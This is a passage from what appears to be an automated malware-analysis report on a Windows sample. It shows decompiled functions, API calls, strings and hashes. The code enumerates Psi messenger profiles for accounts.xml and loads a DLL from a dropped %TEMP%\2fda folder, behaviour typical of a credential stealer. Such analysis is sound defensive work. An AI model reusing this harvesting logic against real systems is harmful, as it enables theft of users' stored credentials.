					_t99 =  *((intOrPtr*)( *_t97))(E00403D98( *((intOrPtr*)(_t203 - 0x284))), L"\\accounts.xml",  *((intOrPtr*)(_t203 - 0x288)),  *((intOrPtr*)(_t203 - 0xc)));
					__eflags = _t99 - 0xffffffff;
					if(_t99 != 0xffffffff) {
						_push(_t203);
						_push(0x40dc7c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t204;
						_push(_t203 - 0x28c);
						_push( *((intOrPtr*)(_t203 - 0xc)));
						E00403D6C(_t203 - 0x298, 0x104, _t203 - 0x230);
						_push( *((intOrPtr*)(_t203 - 0x298)));
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228( *((intOrPtr*)(_t203 - 0x294)), _t152, _t203 - 0x290);
						_push( *((intOrPtr*)(_t203 - 0x290)));
						E00403760(_t203 - 0x29c, 0x104, _t203 - 0x230);
						_pop(_t191);
						E0040D5D4( *((intOrPtr*)(_t203 - 0x29c)), _t152, 0x40de08, _t191, _t201, _t202);
						E00403798( *((intOrPtr*)(_t203 - 4)),  *((intOrPtr*)(_t203 - 0x28c)));
						_pop(_t193);
						 *[fs:eax] = _t193;
					}
				}
				_pop(_t179);
				 *[fs:eax] = _t179;
				_pop(_t180);
				 *[fs:eax] = _t180;
				_push(E0040DD4C);
				E004034E4(_t203 - 0x29c);
				E00403BF4(_t203 - 0x298, 2);
				E00403508(_t203 - 0x290, 2);
				E00403BF4(_t203 - 0x288, 3);
				E004034E4(_t203 - 0x27c);
				E00403BF4(_t203 - 0x278, 2);
				E00403508(_t203 - 0x270, 2);
				E00403BF4(_t203 - 0x268, 3);
				return E00403BDC(_t203 - 0xc);
			}

0x0040db00
0x0040db00
0x0040db05
0x0040db10
0x0040db17
0x0040db19
0x0040db1b
0x00000000
0x00000000
0x0040da06
0x0040da1a
0x0040da1f
0x0040da25
0x0040da35
0x0040da45
0x0040da46
0x0040da52
0x0040da5a
0x0040da5b
0x0040da60
0x0040da63
0x0040da6c
0x0040da6d
0x0040da81
0x0040da86
0x0040da8c
0x0040da9c
0x0040daad
0x0040dab8
0x0040daca
0x0040dada
0x0040dadb
0x0040dae9
0x0040daf3
0x0040daf6
0x0040daf6
0x0040da52
0x0040db23
0x0040db26
0x0040db3d
0x0040db44
0x0040db45
0x0040db4a
0x0040db4d
0x0040db65
0x0040db7d
0x0040db7f
0x0040dc86
0x0040dc8c
0x0040dc90
0x0040dc91
0x0040dc9c
0x00000000
0x00000000
0x0040db9b
0x0040dbb6
0x0040dbc7
0x0040dbce
0x0040dbd0
0x0040dbd3
0x0040dbdb
0x0040dbdc
0x0040dbe1
0x0040dbe4
0x0040dbed
0x0040dbee
0x0040dc02
0x0040dc07
0x0040dc0d
0x0040dc1d
0x0040dc2e
0x0040dc39
0x0040dc4b
0x0040dc5b
0x0040dc5c
0x0040dc6a
0x0040dc74
0x0040dc77
0x0040dc77
0x0040dbd3
0x0040dca4
0x0040dca7
0x0040dcb8
0x0040dcbb
0x0040dcbe
0x0040dcc9
0x0040dcd9
0x0040dce9
0x0040dcf9
0x0040dd04
0x0040dd14
0x0040dd24
0x0040dd34
0x0040dd41

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040DCAC,?,0040DD42,?,00000000,?,00000000,00000052,00000000,00000000,?,0040E22C,00000000), ref: 0040DB7D

Strings

\*.*, xrefs: 0040DB5D
%Appdata%\Psi\profiles\, xrefs: 0040DB38

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFindFirst
String ID: %Appdata%\Psi\profiles\$\*.*
API String ID: 1974802433-2175982575
Opcode ID: 12a41a1ea500d6ab0887333500738b1f47268533b0925cadc6dad8dfd8f270d3
Instruction ID: 70d23edc6d5cb5c9c13926e01734303d113cee31a4eaa26dcbcbb418d0577738
Opcode Fuzzy Hash: 12a41a1ea500d6ab0887333500738b1f47268533b0925cadc6dad8dfd8f270d3
Instruction Fuzzy Hash: 4C312134A041189FD751EF95D855A9AB7FCEF88315F6040F7E408E3691EB38EF498A18

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB30, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E0040DB30(signed int __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t49;
				intOrPtr* _t52;
				intOrPtr* _t60;
				void* _t62;
				signed int _t99;
				intOrPtr _t115;
				intOrPtr _t116;
				void* _t127;
				intOrPtr _t129;
				void* _t130;
				void* _t131;
				void* _t132;
				intOrPtr _t133;

				_t134 = __eflags;
				_t131 = __esi;
				_t130 = __edi;
				_t99 = __ebx;
				E0040300C();
				E004062FC(L"%Appdata%\\Psi\\profiles\\", _t132 - 0xc, __eflags);
				_push(_t132);
				_push(0x40dcac);
				_push( *[fs:eax]);
				 *[fs:eax] = _t133;
				E00403E14(_t132 - 0x280, L"\\*.*",  *((intOrPtr*)(_t132 - 0xc)), _t134);
				_t49 = FindFirstFileW(E00403D98( *((intOrPtr*)(_t132 - 0x280))), _t132 - 0x25c); // executed
				 *(_t132 - 8) = _t49;
				while(1) {
					_push(_t132 - 0x25c);
					_push( *(_t132 - 8));
					_t52 =  *0x41b198; // 0x41c6b8
					if( *((intOrPtr*)( *_t52))() == 0) {
						break;
					}
					E00403D6C(_t132 - 0x288, 0x104, _t132 - 0x230);
					E00403E78();
					_t60 =  *0x41b358; // 0x41c698
					_t62 =  *((intOrPtr*)( *_t60))(E00403D98( *((intOrPtr*)(_t132 - 0x284))), L"\\accounts.xml",  *((intOrPtr*)(_t132 - 0x288)),  *((intOrPtr*)(_t132 - 0xc)));
					__eflags = _t62 - 0xffffffff;
					if(_t62 != 0xffffffff) {
						_push(_t132);
						_push(0x40dc7c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t133;
						_push(_t132 - 0x28c);
						_push( *((intOrPtr*)(_t132 - 0xc)));
						E00403D6C(_t132 - 0x298, 0x104, _t132 - 0x230);
						_push( *((intOrPtr*)(_t132 - 0x298)));
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228( *((intOrPtr*)(_t132 - 0x294)), _t99, _t132 - 0x290);
						_push( *((intOrPtr*)(_t132 - 0x290)));
						E00403760(_t132 - 0x29c, 0x104, _t132 - 0x230);
						_pop(_t127);
						E0040D5D4( *((intOrPtr*)(_t132 - 0x29c)), _t99, 0x40de08, _t127, _t130, _t131);
						E00403798( *((intOrPtr*)(_t132 - 4)),  *((intOrPtr*)(_t132 - 0x28c)));
						_pop(_t129);
						 *[fs:eax] = _t129;
					}
				}
				_pop(_t115);
				 *[fs:eax] = _t115;
				_pop(_t116);
				 *[fs:eax] = _t116;
				_push(E0040DD4C);
				E004034E4(_t132 - 0x29c);
				E00403BF4(_t132 - 0x298, 2);
				E00403508(_t132 - 0x290, 2);
				E00403BF4(_t132 - 0x288, 3);
				E004034E4(_t132 - 0x27c);
				E00403BF4(_t132 - 0x278, 2);
				E00403508(_t132 - 0x270, 2);
				E00403BF4(_t132 - 0x268, 3);
				return E00403BDC(_t132 - 0xc);
			}

0x0040db30
0x0040db30
0x0040db30
0x0040db30
0x0040db30
0x0040db3d
0x0040db44
0x0040db45
0x0040db4a
0x0040db4d
0x0040db65
0x0040db7d
0x0040db7f
0x0040dc86
0x0040dc8c
0x0040dc90
0x0040dc91
0x0040dc9c
0x00000000
0x00000000
0x0040db9b
0x0040dbb6
0x0040dbc7
0x0040dbce
0x0040dbd0
0x0040dbd3
0x0040dbdb
0x0040dbdc
0x0040dbe1
0x0040dbe4
0x0040dbed
0x0040dbee
0x0040dc02
0x0040dc07
0x0040dc0d
0x0040dc1d
0x0040dc2e
0x0040dc39
0x0040dc4b
0x0040dc5b
0x0040dc5c
0x0040dc6a
0x0040dc74
0x0040dc77
0x0040dc77
0x0040dbd3
0x0040dca4
0x0040dca7
0x0040dcb8
0x0040dcbb
0x0040dcbe
0x0040dcc9
0x0040dcd9
0x0040dce9
0x0040dcf9
0x0040dd04
0x0040dd14
0x0040dd24
0x0040dd34
0x0040dd41

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040DCAC,?,0040DD42,?,00000000,?,00000000,00000052,00000000,00000000,?,0040E22C,00000000), ref: 0040DB7D

Strings

\*.*, xrefs: 0040DB5D
%Appdata%\Psi\profiles\, xrefs: 0040DB38

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileFindFirst
String ID: %Appdata%\Psi\profiles\$\*.*
API String ID: 1974802433-2175982575
Opcode ID: c7ec57bf8c672a203fdb4048c355e7c84fabbd848f9c648ecac0f02140d13324
Instruction ID: 214fa972fbf10b26c199491e0b286bbd3c185120b4f6b389bb3b02b4992a6be8
Opcode Fuzzy Hash: c7ec57bf8c672a203fdb4048c355e7c84fabbd848f9c648ecac0f02140d13324
Instruction Fuzzy Hash: 692121349041189FDB51EF95D845A99B7BCEF84305F6041FBE408E3691DB38EF498A18

Uniqueness

Uniqueness Score: -1.00%

Function 00416794, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
timeCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E00416794(void* __eax, void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct _TIME_ZONE_INFORMATION _v176;
				char _v180;
				char _v184;
				char _v188;
				intOrPtr _t61;
				void* _t64;
				void* _t70;
				void* _t72;

				_t72 = __eflags;
				_v180 = 0;
				_v184 = 0;
				_v188 = 0;
				_t64 = __eax;
				_push(_t70);
				_push(0x41686c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t70 + 0xffffff48;
				GetTimeZoneInformation( &_v176); // executed
				_t50 = _v176.Bias;
				asm("cdq");
				asm("cdq");
				asm("cdq");
				_push(L"UTC+");
				E0040709C( ~(_v176.Bias / 0x3c),  ~(_v176.Bias / 0x3c),  &_v184, (_t50 % 0x0000003c ^ _t50 % 0x0000003c) - _t50 % 0x3c, _t72);
				_push(_v184);
				_push(E00416890);
				E0040709C((_t50 % 0x0000003c ^ _t50 % 0x0000003c) - _t50 % 0x3c,  ~(_v176.Bias / 0x3c),  &_v188, (_t50 % 0x0000003c ^ _t50 % 0x0000003c) - _t50 % 0x3c, _t72);
				_push(_v188);
				E00403E78();
				E0040377C(_t64, _v180);
				_pop(_t61);
				 *[fs:eax] = _t61;
				_push(E00416873);
				return E00403BF4( &_v188, 3);
			}

0x00416794
0x004167a2
0x004167a8
0x004167ae
0x004167b4
0x004167b8
0x004167b9
0x004167be
0x004167c1
0x004167d2
0x004167d4
0x004167e1
0x004167f3
0x004167fa
0x00416801
0x0041680e
0x00416813
0x00416819
0x00416826
0x0041682b
0x0041683c
0x00416849
0x00416850
0x00416853
0x00416856
0x0041686b

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,0041686C,?,-00000001,?,?,?,00416B6B,Zone: ,?,00416CA4,?,LocalTime: ,?,00416CA4), ref: 004167D2

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

UTC+, xrefs: 00416801

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FreeInformationStringTimeZone
String ID: UTC+
API String ID: 3683333525-3251258214
Opcode ID: 549976580de52d8e50524d5790e3dc2bf69f86d843f9c85ce2f500230de1a8b7
Instruction ID: 8e8d8b066565444affa3d2364fa9f842ae8a96c50bbc19381f8be74e96bc39c6
Opcode Fuzzy Hash: 549976580de52d8e50524d5790e3dc2bf69f86d843f9c85ce2f500230de1a8b7
Instruction Fuzzy Hash: 2B118171B047189FE765DB2ACC41B9AB6FAEB8C300F1181B9B50CE3391D7349E45CA5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040965C, Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 234
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040965C(intOrPtr* __eax, void* __ebx, void* __edx, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v117;
				void* _t18;
				void* _t34;
				intOrPtr* _t37;
				struct HINSTANCE__* _t49;
				intOrPtr* _t55;
				intOrPtr* _t60;
				intOrPtr* _t65;
				intOrPtr* _t70;
				intOrPtr* _t75;
				intOrPtr* _t80;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t100;
				intOrPtr* _t105;
				intOrPtr* _t110;
				intOrPtr* _t115;
				intOrPtr* _t132;
				intOrPtr* _t134;
				intOrPtr _t144;
				intOrPtr _t153;
				intOrPtr _t156;

				 *__eax =  *__eax + __eax;
				_t18 = __eax +  *__eax;
				 *_t18 =  *_t18 + _t18;
				asm("das");
				 *_t18 =  *_t18 + _t18;
				_t1 =  &_v117;
				 *_t1 = _v117 + __edx;
				_t156 =  *_t1;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_v8 = _t18;
				E00403980(_v8);
				_push(_t153);
				_push(0x409963);
				_push( *[fs:eax]);
				 *[fs:eax] = _t153;
				 *0x41b0d8 = 0;
				E004062FC(L"%TEMP%\\2fda\\",  &_v12, _t156);
				E00403C18(0x41ca5c, _v12);
				CreateDirectoryW(E00403D98( *0x41ca5c), 0); // executed
				E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t156);
				_t132 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v16,  *_t132,  *0x41ca5c, _t156);
				_t34 = E0040776C(_v16, 0x41ca58,  *_t132); // executed
				_t157 = _t34;
				if(_t34 == 0) {
					E004062FC(L"%appdata%\\2fda\\",  &_v20, _t157);
					E00403C18(0x41ca5c, _v20);
					CreateDirectoryW(E00403D98( *0x41ca5c), 0);
					E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t157);
				}
				_t37 =  *0x41b3ac; // 0x41c6ac
				 *((intOrPtr*)( *_t37))(L"PATH", E00403D98( *0x41ca5c));
				SetCurrentDirectoryW(E00403D98( *0x41ca5c)); // executed
				_t134 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v24,  *_t134,  *0x41ca5c, _t157);
				_t49 = LoadLibraryExW(E00403D98(_v24), 0, 8); // executed
				 *0x41ca58 = _t49;
				if( *0x41ca58 != 0) {
					_t55 =  *0x41b37c; // 0x41c994
					 *0x41ca20 = GetProcAddress( *0x41ca58, E00403990( *_t55));
					_t60 =  *0x41b42c; // 0x41c998
					 *0x41ca24 = GetProcAddress( *0x41ca58, E00403990( *_t60));
					_t65 =  *0x41b14c; // 0x41c99c
					 *0x41ca28 = GetProcAddress( *0x41ca58, E00403990( *_t65));
					_t70 =  *0x41b214; // 0x41c9a0
					 *0x41ca2c = GetProcAddress( *0x41ca58, E00403990( *_t70));
					_t75 =  *0x41b418; // 0x41c9a4
					 *0x41ca30 = GetProcAddress( *0x41ca58, E00403990( *_t75));
					_t80 =  *0x41b2a4; // 0x41c9a8
					 *0x41ca34 = GetProcAddress( *0x41ca58, E00403990( *_t80));
					_t85 =  *0x41b328; // 0x41c9ac
					 *0x41ca38 = GetProcAddress( *0x41ca58, E00403990( *_t85));
					_t90 =  *0x41b318; // 0x41c7d8
					 *0x41ca3c = GetProcAddress( *0x41ca58, E00403990( *_t90));
					_t95 =  *0x41b2bc; // 0x41c7dc
					 *0x41ca40 = GetProcAddress( *0x41ca58, E00403990( *_t95));
					_t100 =  *0x41b408; // 0x41c7e0
					 *0x41ca44 = GetProcAddress( *0x41ca58, E00403990( *_t100));
					_t105 =  *0x41b3b8; // 0x41c7e4
					 *0x41ca48 = GetProcAddress( *0x41ca58, E00403990( *_t105));
					_t110 =  *0x41b2f0; // 0x41c7e8
					 *0x41ca4c = GetProcAddress( *0x41ca58, E00403990( *_t110));
					_t115 =  *0x41b48c; // 0x41c7ec
					 *0x41ca50 = GetProcAddress( *0x41ca58, E00403990( *_t115));
					if( *0x41ca20 != 0 &&  *0x41ca24 != 0 &&  *0x41ca28 != 0 &&  *0x41ca2c != 0 &&  *0x41ca30 != 0 &&  *0x41ca34 != 0 &&  *0x41ca38 != 0 &&  *0x41ca3c != 0 &&  *0x41ca40 != 0 &&  *0x41ca44 != 0 &&  *0x41ca48 != 0 &&  *0x41ca4c != 0 &&  *0x41ca50 != 0) {
						 *0x41b0d8 = 1;
					}
				}
				_pop(_t144);
				 *[fs:eax] = _t144;
				_push(E0040996A);
				E00403BF4( &_v24, 4);
				return E004034E4( &_v8);
			}

0x0040965e
0x00409660
0x00409662
0x00409664
0x00409665
0x00409667
0x00409667
0x00409667
0x0040966d
0x0040966e
0x0040966f
0x00409670
0x00409671
0x00409672
0x00409674
0x0040967a
0x0040968b
0x0040968c
0x00409691
0x00409694
0x00409697
0x004096a6
0x004096b0
0x004096bf
0x004096c9
0x004096ce
0x004096db
0x004096e3
0x004096e8
0x004096ea
0x004096f4
0x004096fe
0x0040970d
0x00409717
0x00409717
0x00409729
0x00409730
0x00409741
0x00409747
0x00409754
0x00409762
0x00409767
0x0040976c
0x00409772
0x00409787
0x0040978c
0x004097a1
0x004097a6
0x004097bb
0x004097c0
0x004097d5
0x004097da
0x004097ef
0x004097f4
0x00409809
0x0040980e
0x00409823
0x00409828
0x0040983d
0x00409842
0x00409857
0x0040985c
0x00409871
0x00409876
0x0040988b
0x00409890
0x004098a5
0x004098aa
0x004098bf
0x004098cb
0x00409939
0x00409939
0x004098cb
0x00409942
0x00409945
0x00409948
0x00409955
0x00409962

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?), ref: 004096BF

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6), ref: 0040970D
SetCurrentDirectoryW.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?,00000000), ref: 00409741
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?), ref: 00409762
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409782
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040979C
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097B6
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097D0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097EA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409804
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040981E
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409838
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409852
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040986C
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409886
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098A0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098BA

Strings

%TEMP%\2fda\, xrefs: 004096A1
%appdata%\2fda\, xrefs: 004096EF
PATH, xrefs: 00409724

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$Directory$Create$AllocAttributesCurrentFileLibraryLoadString
String ID: %TEMP%\2fda\$%appdata%\2fda\$PATH
API String ID: 2652973473-1556614757
Opcode ID: f27efa49597c9fa42c2bc13c1c83c9643b3a516628f81010971d5cc2603e3513
Instruction ID: 26d77c896aabed61a2775ccb06ba61d1ee422efe4d6d96ca95dbfc380ed6e43d
Opcode Fuzzy Hash: f27efa49597c9fa42c2bc13c1c83c9643b3a516628f81010971d5cc2603e3513
Instruction Fuzzy Hash: DA91D9B06402049FD712EF69D885B9A37E8BF4A349F00847AF404EB7A6C778AD44CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409664, Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 230
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00409664(char __eax, void* __ebx, void* __edx, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v117;
				void* _t33;
				intOrPtr* _t36;
				struct HINSTANCE__* _t48;
				intOrPtr* _t54;
				intOrPtr* _t59;
				intOrPtr* _t64;
				intOrPtr* _t69;
				intOrPtr* _t74;
				intOrPtr* _t79;
				intOrPtr* _t84;
				intOrPtr* _t89;
				intOrPtr* _t94;
				intOrPtr* _t99;
				intOrPtr* _t104;
				intOrPtr* _t109;
				intOrPtr* _t114;
				intOrPtr* _t131;
				intOrPtr* _t133;
				intOrPtr _t143;
				intOrPtr _t152;
				intOrPtr _t153;

				asm("das");
				 *((intOrPtr*)(__eax)) =  *((intOrPtr*)(__eax)) + __eax;
				_t1 =  &_v117;
				 *_t1 = _v117 + __edx;
				_t153 =  *_t1;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_v8 = __eax;
				E00403980(_v8);
				_push(_t152);
				_push(0x409963);
				_push( *[fs:eax]);
				 *[fs:eax] = _t152;
				 *0x41b0d8 = 0;
				E004062FC(L"%TEMP%\\2fda\\",  &_v12, _t153);
				E00403C18(0x41ca5c, _v12);
				CreateDirectoryW(E00403D98( *0x41ca5c), 0); // executed
				E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t153);
				_t131 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v16,  *_t131,  *0x41ca5c, _t153);
				_t33 = E0040776C(_v16, 0x41ca58,  *_t131); // executed
				_t154 = _t33;
				if(_t33 == 0) {
					E004062FC(L"%appdata%\\2fda\\",  &_v20, _t154);
					E00403C18(0x41ca5c, _v20);
					CreateDirectoryW(E00403D98( *0x41ca5c), 0);
					E004094E0( *0x41ca5c, 0x41ca58, _v8, 0x41ca5c, _t154);
				}
				_t36 =  *0x41b3ac; // 0x41c6ac
				 *((intOrPtr*)( *_t36))(L"PATH", E00403D98( *0x41ca5c));
				SetCurrentDirectoryW(E00403D98( *0x41ca5c)); // executed
				_t133 =  *0x41b3c4; // 0x41c7ac
				E00403E14( &_v24,  *_t133,  *0x41ca5c, _t154);
				_t48 = LoadLibraryExW(E00403D98(_v24), 0, 8); // executed
				 *0x41ca58 = _t48;
				if( *0x41ca58 != 0) {
					_t54 =  *0x41b37c; // 0x41c994
					 *0x41ca20 = GetProcAddress( *0x41ca58, E00403990( *_t54));
					_t59 =  *0x41b42c; // 0x41c998
					 *0x41ca24 = GetProcAddress( *0x41ca58, E00403990( *_t59));
					_t64 =  *0x41b14c; // 0x41c99c
					 *0x41ca28 = GetProcAddress( *0x41ca58, E00403990( *_t64));
					_t69 =  *0x41b214; // 0x41c9a0
					 *0x41ca2c = GetProcAddress( *0x41ca58, E00403990( *_t69));
					_t74 =  *0x41b418; // 0x41c9a4
					 *0x41ca30 = GetProcAddress( *0x41ca58, E00403990( *_t74));
					_t79 =  *0x41b2a4; // 0x41c9a8
					 *0x41ca34 = GetProcAddress( *0x41ca58, E00403990( *_t79));
					_t84 =  *0x41b328; // 0x41c9ac
					 *0x41ca38 = GetProcAddress( *0x41ca58, E00403990( *_t84));
					_t89 =  *0x41b318; // 0x41c7d8
					 *0x41ca3c = GetProcAddress( *0x41ca58, E00403990( *_t89));
					_t94 =  *0x41b2bc; // 0x41c7dc
					 *0x41ca40 = GetProcAddress( *0x41ca58, E00403990( *_t94));
					_t99 =  *0x41b408; // 0x41c7e0
					 *0x41ca44 = GetProcAddress( *0x41ca58, E00403990( *_t99));
					_t104 =  *0x41b3b8; // 0x41c7e4
					 *0x41ca48 = GetProcAddress( *0x41ca58, E00403990( *_t104));
					_t109 =  *0x41b2f0; // 0x41c7e8
					 *0x41ca4c = GetProcAddress( *0x41ca58, E00403990( *_t109));
					_t114 =  *0x41b48c; // 0x41c7ec
					 *0x41ca50 = GetProcAddress( *0x41ca58, E00403990( *_t114));
					if( *0x41ca20 != 0 &&  *0x41ca24 != 0 &&  *0x41ca28 != 0 &&  *0x41ca2c != 0 &&  *0x41ca30 != 0 &&  *0x41ca34 != 0 &&  *0x41ca38 != 0 &&  *0x41ca3c != 0 &&  *0x41ca40 != 0 &&  *0x41ca44 != 0 &&  *0x41ca48 != 0 &&  *0x41ca4c != 0 &&  *0x41ca50 != 0) {
						 *0x41b0d8 = 1;
					}
				}
				_pop(_t143);
				 *[fs:eax] = _t143;
				_push(E0040996A);
				E00403BF4( &_v24, 4);
				return E004034E4( &_v8);
			}

0x00409664
0x00409665
0x00409667
0x00409667
0x00409667
0x0040966d
0x0040966e
0x0040966f
0x00409670
0x00409671
0x00409672
0x00409674
0x0040967a
0x0040968b
0x0040968c
0x00409691
0x00409694
0x00409697
0x004096a6
0x004096b0
0x004096bf
0x004096c9
0x004096ce
0x004096db
0x004096e3
0x004096e8
0x004096ea
0x004096f4
0x004096fe
0x0040970d
0x00409717
0x00409717
0x00409729
0x00409730
0x00409741
0x00409747
0x00409754
0x00409762
0x00409767
0x0040976c
0x00409772
0x00409787
0x0040978c
0x004097a1
0x004097a6
0x004097bb
0x004097c0
0x004097d5
0x004097da
0x004097ef
0x004097f4
0x00409809
0x0040980e
0x00409823
0x00409828
0x0040983d
0x00409842
0x00409857
0x0040985c
0x00409871
0x00409876
0x0040988b
0x00409890
0x004098a5
0x004098aa
0x004098bf
0x004098cb
0x00409939
0x00409939
0x004098cb
0x00409942
0x00409945
0x00409948
0x00409955
0x00409962

APIs

Part of subcall function 00403C18: SysReAllocStringLen.OLEAUT32(?,00406C70,00000002), ref: 00403C2E

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?), ref: 004096BF

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00409963,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6), ref: 0040970D
SetCurrentDirectoryW.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?,00000000), ref: 00409741
LoadLibraryExW.KERNEL32(00000000,00000000,00000008,?,?,?,00000000,00000000,00000000,00000000,00000000,?,004188C6,?,?,?), ref: 00409762
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409782
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040979C
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097B6
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097D0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004097EA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409804
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040981E
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409838
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409852
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040986C
GetProcAddress.KERNEL32(00000000,00000000), ref: 00409886
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098A0
GetProcAddress.KERNEL32(00000000,00000000), ref: 004098BA

Strings

%TEMP%\2fda\, xrefs: 004096A1
%appdata%\2fda\, xrefs: 004096EF
PATH, xrefs: 00409724

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$Directory$Create$AllocAttributesCurrentFileLibraryLoadString
String ID: %TEMP%\2fda\$%appdata%\2fda\$PATH
API String ID: 2652973473-1556614757
Opcode ID: 3cda482a1bab7c59bc6ca6556e7b2c694aad51fbb92005e4fe0a4dd09f2a510c
Instruction ID: 5b3c55801863a32800eae0c5f30943bce4d4c5d0b2659c2e20ef893ba67f7cd3
Opcode Fuzzy Hash: 3cda482a1bab7c59bc6ca6556e7b2c694aad51fbb92005e4fe0a4dd09f2a510c
Instruction Fuzzy Hash: A991E8B06402049FD711EF69D885F9A37E8BF49349F00847AB404EB7A6C778AD44CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00409668, Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 228
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00409668(char __eax, void* __ebx, void* __esi, void* __eflags) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _t31;
				intOrPtr* _t34;
				struct HINSTANCE__* _t46;
